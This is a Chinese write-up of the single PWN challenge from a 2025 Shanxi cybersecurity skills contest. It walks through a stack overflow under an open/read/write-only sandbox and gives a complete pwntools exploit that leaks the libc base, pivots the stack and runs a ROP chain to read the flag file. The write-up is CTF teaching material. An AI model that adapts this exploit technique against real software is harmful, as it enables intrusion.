2025山西省网络安全职业技能大赛PWN方向题解

两个半小时的比赛,pwn方向只有一道题目

比赛现场 ida 坏了,没想着去做 pwn 题...

赛后发现挺简单的,64 位沙箱orw,侥幸拿下赛道第一......
赛题附件下载

给了 libc 、ld 和 elf 文件,先 patchelf

patchelf 过程中发现有沙箱,dump 一下规则

只可以用 orw

没开 PIE 和 canary

栈溢出先利用 puts 函数泄露 libc 基址

填充是0x20 + 8

再找一片有读写权限的空闲地址

libc 上面这片正好合适,为了防止栈增减,取中间位置rw_mem = libc.address - 0x1000

这里用来构建 ROP 链,然后在buf_addr = rw_mem + 0x100位置用于存读进来的 flag

在第二次传 payload 时先调用 read 将 orw 的 rop 链读进rw_mem,同时栈迁移过去,执行 orw 操作

python 复制代码
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

# gdb.attach(p, "b *0x4012F9\nc")
# pause()

payload = 'a' * 0x20
payload += 'b' * 8
payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(0x4012F9) # main()
p.sendlineafter("hello sandbox!\n", payload)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))

rw_mem = libc.address - 0x1000
buf_addr = rw_mem + 0x100

payload = 'c' * 0x20
payload += p64(rw_mem - 8)
payload += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(0)
payload += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(libc.search(asm('pop rdx; ret;'), executable=True).next())
payload += p64(0x108)
payload += p64(libc.sym['read'])
payload += p64(elf.search(asm('leave; ret;'), executable=True).next())

# gdb.attach(p)
# pause()

p.sendlineafter("hello sandbox!\n", payload)
sleep(1)

rop = ''
rop += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(buf_addr)
rop += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(0)
rop += p64(libc.search(asm('pop rax; ret'), executable=True).next())
rop += p64(0x2)
rop += p64(libc.search(asm('syscall; ret;'), executable=True).next())

rop += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(3)
rop += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(buf_addr)
rop += p64(libc.search(asm('pop rdx; ret'), executable=True).next())
rop += p64(0x100)
rop += p64(libc.search(asm('pop rax; ret'), executable=True).next())
rop += p64(0x0)
rop += p64(libc.search(asm('syscall; ret;'), executable=True).next())

rop += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(1)
rop += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(buf_addr)
rop += p64(libc.search(asm('pop rdx; ret'), executable=True).next())
rop += p64(0x100)
rop += p64(libc.search(asm('pop rax; ret'), executable=True).next())
rop += p64(0x1)
rop += p64(libc.search(asm('syscall; ret;'), executable=True).next())

rop = rop.ljust(0x100, '\x00')
rop += "./flag\x00"

# gdb.attach(p)
# pause()
p.send(rop)

p.interactive()

运行 exp.py

成功打印本地 flag


相关推荐
Escalating_xu1 分钟前
【Linux 网络编程】五种 I/O 模型与非阻塞 I/O:从“等数据”到正确处理 EAGAIN
java·linux·网络
QXWZ_IA22 分钟前
低空经济下电力无人机巡检定位的能力演进与应用趋势
人工智能·安全
无言听风雨丶29 分钟前
Linux 容器本质探秘:Cgroup 与 Namespace 深度解析与实战
linux·运维·服务器·kubernetes
万联WANFLOW30 分钟前
CVE-2026-98432 等漏洞自查:AI 查出的 Linux、Windows 漏洞,运维怎么确认受不受影响
linux·运维·windows·网络安全
OPEN-F1 小时前
Ubuntu 自动登录后 GNOME 远程桌面连不上?一次登录钥匙环锁定的排查与永久修复
linux·运维·ubuntu
硅基手札1 小时前
【Linux 内核专栏 19】20 · 嵌入式子系统 — GPIO·pinctrl·clock·regulator
linux·运维·单片机·linux内核·嵌入式开发·调试定位
默|笙1 小时前
【Linux网络】传输层协议TCP(3)滑动窗口、流量控制
linux·网络·tcp/ip
亚远景aspice2 小时前
亚远景 - 无方向盘 L4 车辆批量认证,ASPICE 过程证据成制造商安全举证底座
安全·自动驾驶·aspice·研发管理·亚远景科技·过程能力评估·aspice评估
可涵不会debug2 小时前
PHP2Shell 爆发一周后:CVE-2026-109618/109619 自查、修复与防护实录
安全·php·云安全·waf·phpshell
一支蜉蝣2 小时前
Day26 XD安全学习笔记--PHP 应用&模版引用&Smarty渲染&MVC 模型&数据联动&RCE 安全
笔记·网络安全·html·php